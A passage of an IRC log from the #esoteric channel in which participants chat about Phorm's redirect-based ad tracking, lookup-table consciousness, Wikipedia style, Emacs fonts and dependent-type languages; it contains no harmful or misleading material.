PRIVMSG #esoteric :also, the interface looks like it's trying to look like OS X and failing < 1267446424 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION clicks on the IE install link
< 1267446429 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Only the tabs < 1267446429 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just because I'm curious as to what will happen < 1267446441 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :some exe < 1267446445 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, I get an advert for Windows 7 < 1267446448 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's actually sort-of clever < 1267446454 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :"Internet Explorer 8 is available only on PCs running Windows. Check out Windows 7, which includes Internet Explorer 8." < 1267446577 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I have win7 installed on here (haven't used it for months, though), so if I really wanted IE 8, I could get it like that < 1267446580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.flickr.com/photos/38864566@N00/2479491895/ < 1267446580 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this is sweet < 1267446712 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ugh, not a still image? < 1267446716 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I may have a look when I get home < 1267446729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It couldn't be a still image < 1267447552 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have this sinking feeling that I should do pattern matching on arbitrary function results. < 1267447559 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(as opposed to just constructors) < 1267447603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*just constructors < 1267447651 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :pattern matching reminds me of the old joke about regexes ("now you have /two/ problems") < 1267447667 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or maybe the statement about XML being like violence < 1267447682 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's one of those things where, if you start pattern matching you end up needing to use more and more and more of it < 1267447801 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Actually pattern matching is just sugar for case expressions which is just half of structural recursion on inductive data types... but what do I know :P < 1267448712 0 :daef!~david.zot@85-126-245-111.static.xdsl-line.inode.at JOIN :#esoteric < 1267448809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :daef: Are you dæf? < 1267448816 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or just deaf /and/ dyslexic? < 1267448887 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I tried /nick æis523 but Freenode wouldn't let me < 1267448911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Er, isn't it pronounced ay eye ess? < 1267448916 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: yes < 1267448923 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it would be a different word if it were æis523 < 1267448927 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1267448938 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :sort of like "oklopol" is not pronounced the same way as "oklofok" < 1267448956 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :alise: ACK < 1267448969 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :dyslexics are teople poo < 1267448974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :daef: Oh, cute, you're one end of a TCP socket! < 1267448980 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :scarf: nickname = ( letter / special ) *8( letter / digit / special / "-" ) < 1267448994 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Pah! < 1267449003 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: wow, I'm... amazed and happy that you actually looked that up < 1267449015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: So what nick does -i use on IRC? < 1267449017 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and just as happy but more amazed if you typed it from memoryt < 1267449021 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*memory < 1267449030 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He looks everything up :) < 1267449039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He is an unstoppable Google machine < 1267449044 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Sorry to deamaze you a bit; it was looked-up. Looking things up is pretty much what I do. < 1267449052 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It was from a local file this time, though. < 1267449071 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Is "deamaze" a word?) < 1267449078 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie is just a gigantic lookup table < 1267449084 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :alise: i'm david => dave => daef < 1267449086 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :not deaf < 1267449091 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :that's all < 1267449096 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Eliezer Yudkowsky isn't sure whether you're conscious, fizzie. < 1267449104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :daef: Oh shush you. < 1267449111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm allowed to be ridiculous if I feel like it. < 1267449117 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :kk < 1267449118 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not sure of that either; I can't seem to find any good results for it in Google. < 1267449157 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You didn't find http://lesswrong.com/lw/pa/gazp_vs_glut/? < 1267449173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He concludes you're not conscious. Ha! < 1267449180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have foiled you, GLUT! < 1267449197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is it Schadenfreude if the other party isn't conscious? < 1267449252 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I asked the bot what I am, and it just said I'm "a communist irrelevant to any discussion of economics". That wasn't so polite. < 1267449281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267449284 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :alise: do you speak german? < 1267449297 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :snowplow, grassroots, mobile OE, MPSEB Indian utility co. meter reading, Delhi traffic police, Citibank demo documentation, Disprax (fake screen shots only), Jackson Builders, Aston Villa, NREGA employment census, smnp hardware monitoring, NDPL power, PG Call Home < 1267449297 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :daef: No, but Schadenfreude is an authentic English word, high-quality import. < 1267449301 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :kk < 1267449306 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hardly any scratches on the disk. Only slightly pirated. < 1267449328 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I agree. < 1267449344 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :btw, the "gazp vs glut" thing confuses me, I couldn't get why you'd compare anything but SDL to GLUT < 1267449348 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but it seems to be a different GLUT < 1267449368 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: you can have fun guessing what that list is, btw < 1267449375 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as can the rest of #esoteric < 1267449388 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although, it's likely to be distinctive enough that Google would turn it up pretty quickly < 1267449419 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: GLUT = Giant Look-Up Table < 1267449426 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep, got that from the page < 1267449427 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GAZP = Generalised Anti-(P-)Zombie Principle < 1267449437 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking GLUT = GL Utility Toolkit < 1267449447 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267449499 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can see how confusing that acronym mismatch would make the page title < 1267449514 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes :P < 1267449523 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But is a cube... CONSCIOUS???? < 1267449540 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: as it's GLUT, the question would work better with teapots < 1267449549 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I was trying to remember that shape < 1267449564 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :scarf: anyway - it's just a bunch of triangles < 1267449585 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the funny thing is, that the Utah Teapot was accidentally drawn at the wrong scale originally (as in, vertical scale != horizontal scale), so it looks rather different in the demos than it does in real life < 1267449605 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :that you could also save in a giant lookup table < 1267449792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If the Utah Teapot is conscious, is it a Mormon? < 1267449875 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: assuming that's an indicative rather than subjunctive if, yes < 1267449881 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*rather than counterfactual < 1267449908 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prove that it isn't conscious, you nincompoop! :P < 1267449938 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, subjunctive is a perfectly acceptable term isn't it? < 1267450044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :my favourite bit of the GAZP vs. GLUT article is "The obvious answer is that you took a computational specification of a human brain, and used that to precompute the Giant Lookup Table. (Thereby creating uncounted googols of human beings, some of them in extreme pain, the supermajority gone quite mad in a universe of chaos where inputs bear no relation to outputs. But damn the ethics, this is for philosophy.)" < 1267450063 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :trust Eliezer Yudkowsky to remark on how immoral creating a lookup table can be < 1267450075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which leads me on to my next question: IS MULTIPLICATION CONSCIOUS???? < 1267450158 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :what's confusing me here is computational complexity < 1267450188 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :for instance, what sort of information density would you need to make a lookup table for a human brain? would it become a black hole under its own mass even if it filled the whole observable universe, for instance? < 1267450201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, it would surely be ridiculous. < 1267450205 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We have such a small universe. < 1267450248 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :gah, why can't you upvote IRC comments? < 1267450274 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, it would surely be ridiculous. [↑ 1 ↓] < 1267450276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We have such a small universe. [↑ 1 ↓] < 1267450325 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, this seems like a perfect feature for ickirc < 1267450348 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :use CTCP < 1267450353 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :along with the one that lets you swap nicks with arbitrary other people using ickirc, without notifying the channel (it relays all messages back and forth, etc) < 1267450356 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and ofc you'd use CTCP < 1267450357 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :^AUPVOTE messageid^A < 1267450649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Feh. < 1267450988 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, http://forums.thedailywtf.com/forums/t/15838.aspx is golden < 1267451010 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you know the storm over the australian internet filter, and the person pushing it most filtering out "ISP Filtering" from his own tag cloud with client-side JS? < 1267451018 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's not the only ridiculousness found in the code, it seems < 1267451030 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and the code itself was taken from a JS tutorial written by someone unrelated < 1267451035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which person puhsing it most? I am confused < 1267451036 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*pushing < 1267451039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah I see < 1267451056 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :his name is Stephen Conroy, but that doesn't seem particularly relevant < 1267451068 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :umm, the minister pushing it, that is < 1267451107 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I just couldn't parse your sentence; got it now < 1267451125 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uk i'net is censored too :/ just not as badly < 1267451156 0 :daef!unknown@unknown.invalid PRIVMSG #esoteric :alise: the fact is bad enough < 1267451161 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267451170 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :at least Phorm hasn't been switched on yet < 1267451174 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I have plans for if and when it is < 1267451189 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I have quite an idea of how it technically works, and it would be fun to mess around with it < 1267451230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Isn't its workings well-known? < 1267451233 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267451239 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, by people who care to find out < 1267451243 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I imagine it isn't well-known in general < 1267451249 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :because most people haven't bothered to look it up < 1267451250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Phorm seriously freaks me. It's, like, not even your regular Orwellian evil under a corporate disguise. < 1267451263 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's a paper company: something you would expect to see in fiction, down to the logo, website, everything. < 1267451273 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :we can try things like creating websites where every link goes through exactly 4 HTTP redirects < 1267451283 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's like there is no cover over it other than the ludicrously unbelievable. < 1267451286 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which complies with the RFC without Phorm, but fails to comply with it with < 1267451301 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :heh, howso? < 1267451309 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: because it uses redirects on every page view itself < 1267451318 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and it goes over the redirect-loop limit if you combine the two < 1267451321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267451334 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So would a Phorm-condemned user actually see a redirect on every request? < 1267451337 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267451344 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :even if you turn it off, apparently < 1267451347 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, lets the ISPs up all their connection speeds and prices. < 1267451353 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :because the redirect's needed to tell whether it's turned off or not < 1267451358 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Meet the new speed, same as the old speed. < 1267451362 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Actually, why the hell isn't Phorm illegal? < 1267451377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wow, Phorm apparently used to (under a different name) produce spyware. < 1267451379 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: nobody's entirely sure; there's a rumour that the EU's planning to sue the UK for not calling it illegal < 1267451381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I didn't even know that. < 1267451386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(As in, real bona fide non-approved spyware.) < 1267451421 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The UK Information Commissioner's Office has voiced legal concerns with Webwise as it is currently implemented, and has said it would only be legal as an "opt-in" service, not an opt-out system. < 1267451421 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :more fun: phorm impersonates websites to inject cookies into them < 1267451425 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I can't remember why, btw < 1267451430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What is it with UK government positions' names and sounding creepy? < 1267451433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Information Commissioner. < 1267451461 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I was reading Phorm's website recently, apparently when they turn it on they're planning to redirect pages to ask people whether to opt-in or opt-out < 1267451469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what it is with Wikipedia describing itself and always using the third-person whenever it mentions it
< 1267451478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Do they want people to read Wikipedia without the Wikipedia branding in the future or something? :P < 1267451484 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's awkward to read. < 1267451486 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: there's a page about that < 1267451490 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I know. < 1267451493 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Special:Search?go=Go&search=WP:ASR < 1267451498 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I think the "neutrality" just makes the writing feel strange. < 1267451518 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the idea's that the articles should have no idea that they're on Wikipedia, or indeed even on a website < 1267451528 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so, say, you can make print versions more easily, and fork it more easily < 1267451599 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Print can still say Wikipedia. Okay, forking, granted. < 1267451604 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But still... < 1267451620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is forking more important than not confusing people who read it? < 1267451630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :My brain does a bit of a double take every time Wikipedia says "the online encyclopedia Wikipedia". < 1267451726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If Phorm is ever switched on I'll not use any ISP that has it. Even if that eliminates all UK ISPs... < 1267451743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :At home, at least. < 1267451754 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: personally, I think it would be fun to screw around with it for a bit before boycotting, especially as my internet connections are (legally) borrowed anyway < 1267451770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, but what about all my kiddie porn?!?!?!?! < 1267451773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267451787 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I hope you don't view that sort of thing < 1267451789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway I draw the line at every single HTTP request causing a redirect. < 1267451801 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Must you take obvious ridiculosity as sincere? < 1267451825 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: well, at least I'm consistent < 1267451834 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and it sometimes produces absurd conversations, which can only be a good thing < 1267451838 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Then you are not complete. < 1267451852 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not even a type 1 reasoner < 1267451902 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :whether it's possible to be simultaneously consistent and complete depends on your other assumptinos < 1267451904 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*assumptions < 1267451922 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, I based it on the fact that you said you were consistent. < 1267451932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Presumably that means you've proved to yourself that you're consistent :P < 1267451961 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you have to take into account the difference between me believing I'm consistent, me actually being consistent, and me believing myself to believe myself to be consistent < 1267451969 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :actually, I believe myself to be inconsistent in general < 1267452058 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quotient types are good. The extensional Axiom of Choice is bad. Anything resulting in a bad thing is bad. Quotient types result in the extensional Axiom of Choice. < 1267452101 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(But then I don't really believe "quotient types are good" because of that reasoning chain. Perhaps I have some special kind of "undecided" belief that references reasons not to believe it, and pointers to ways to possibly modify the belief so that it is good.) < 1267452134 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: your use of an in-context "references" followed by an out-of-context "pointers" leads me to believe you're attempting a pun < 1267452137 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but I can't find one < 1267452139 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :maybe it was just a typo? < 1267452252 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric : FYI, the world will end on Tue, August 31st, 4500AD a few minutes before midnight (local time). < 1267452295 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :this is a crazy and nonserious attempt to deduce a religion from Microsoft Outlook < 1267452319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: no pun no < 1267452321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1267452452 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reads about people advertising really expensive cables for audio; nothing new, except that they're Ethernet cables designed to transmit audio really, really perfectly or something
< 1267452468 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :with a cable meant for analog, you can sort-of see how people could be fooled into it, but digital? < 1267452505 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :People don't know how technology works < 1267452509 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Analog or digital < 1267452515 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I suppose so < 1267452534 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :"if you do not follow the "directional markings" on the cables, your music will play backwards. Please check that." < 1267452542 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :people found the website and started giving parody reviews < 1267452603 0 :MissPiggy!~none@unaffiliated/fax JOIN :#esoteric < 1267452670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :back, with a new keyboard and mouse < 1267452693 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ooh < 1267452697 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :where did you get them from? < 1267452737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Um, ASDA. (My father's house is /also/ in a rather remote place, although not so much so; the nearest place with a supermarket only has one). I only got these because I needed 1, a keyboard with all the keys, and 2, a mouse that works. < 1267452755 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(I already had them, I was just plugging them in and what not.) < 1267452794 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So, yeah. < 1267452809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This keyboard could do with some weights to hold it into place. < 1267452815 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The mouse isn't bad, though. < 1267452831 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not rubbery, sufficiently clicky buttons, and a scroll-wheel. < 1267452849 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I love the mental image of a keyboard blowing away in the wind < 1267452855 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I am so fucking ill I want to puke < 1267452861 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :wait no I don't < 1267452861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Then puke. < 1267452874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: :-) < 1267452879 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Those fold-up keyboards might be able to do that. < 1267452917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ugh, I miss my media keys. (Just for volume control.) < 1267452982 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: same here, although I bound them to super-combinations < 1267452983 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But damn I'm glad I have a mouse. < 1267452989 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in particular, I used to use play/pause a lot, now I use super-P < 1267453027 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Rubber dome keyboards sure are mushy compared to the old scissor-switch. < 1267453035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But at least I don't have to fingernail keys I picked off now. < 1267453067 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Irritating that Emacs cannot display characters I know I have the fonts for. < 1267453073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Even in those fonts. < 1267453093 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For instance, ⊤ and ⊥ won't show, even with DejaVu Sans Mono. < 1267453105 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :WHO CARES < 1267453114 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :use T and F < 1267453117 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: No? < 1267453120 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't want to. < 1267453126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It worked before in Ubuntu. < 1267453141 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: which OS are you using atm? < 1267453158 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, OS X < 1267453160 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OS X; the computer with Ubuntu on was too heavy and such to lug across, especially as it doesn't really like Wi-Fi. < 1267453167 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(/ctcp version is so much faster than asking a person) < 1267453176 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have Ubuntu here, though. I could boot it up and use it now that I have a mouse. < 1267453186 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But Linux on Macs is iffy at the best of times. < 1267453193 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yeah :( < 1267453246 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Besides, it seems to work alright in other OS X applications. < 1267453256 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bloody Emacs. Maybe a newer build would work. < 1267453293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd just use TextEdit, but I need \TeX-style-character-insertion. < 1267453298 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267453353 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yol have agda mode? < 1267453399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :M-x set-input-mode RET TeX RET. Agda-mode is just an extension of it, one that I ought to get around to downloading. < 1267453406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, agda-input, that is. < 1267453496 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"David Cameron: We are a modern and radical Conservative Party" —YouTube front page < 1267453502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Radical conservatism! < 1267453558 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise want a good video to watch < 1267453570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Not particularly? < 1267453620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :epigram is so cool < 1267453622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and so is agda < 1267453623 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and coq < 1267453644 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what about Omegamega? < 1267453692 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Ωmega :P < 1267453696 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I haven't looked into it. < 1267453706 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't get it
< 1267453845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The Ωmega interpreter[1] is a strict pure functional programming interpreter similar to the Hugs Haskell interpreter. The syntax closely resembles that of Haskell but with important differences: < 1267453845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ωmega is strict (Hugs is lazy); < 1267453845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Support for Generalized Algebraic Datatypes; < 1267453845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ability to introduce new types; < 1267453845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Allows writing of functions at the type level. < 1267453852 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Doesn't sound particularly dependent to me. < 1267453914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, http://r6.ca/FewDigits/FPdag2008.pdf is officially my favourite introduction to dependent-types-as-logic ever < 1267453992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/List_of_countries_by_coffee_consumption_per_capita < 1267454029 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric 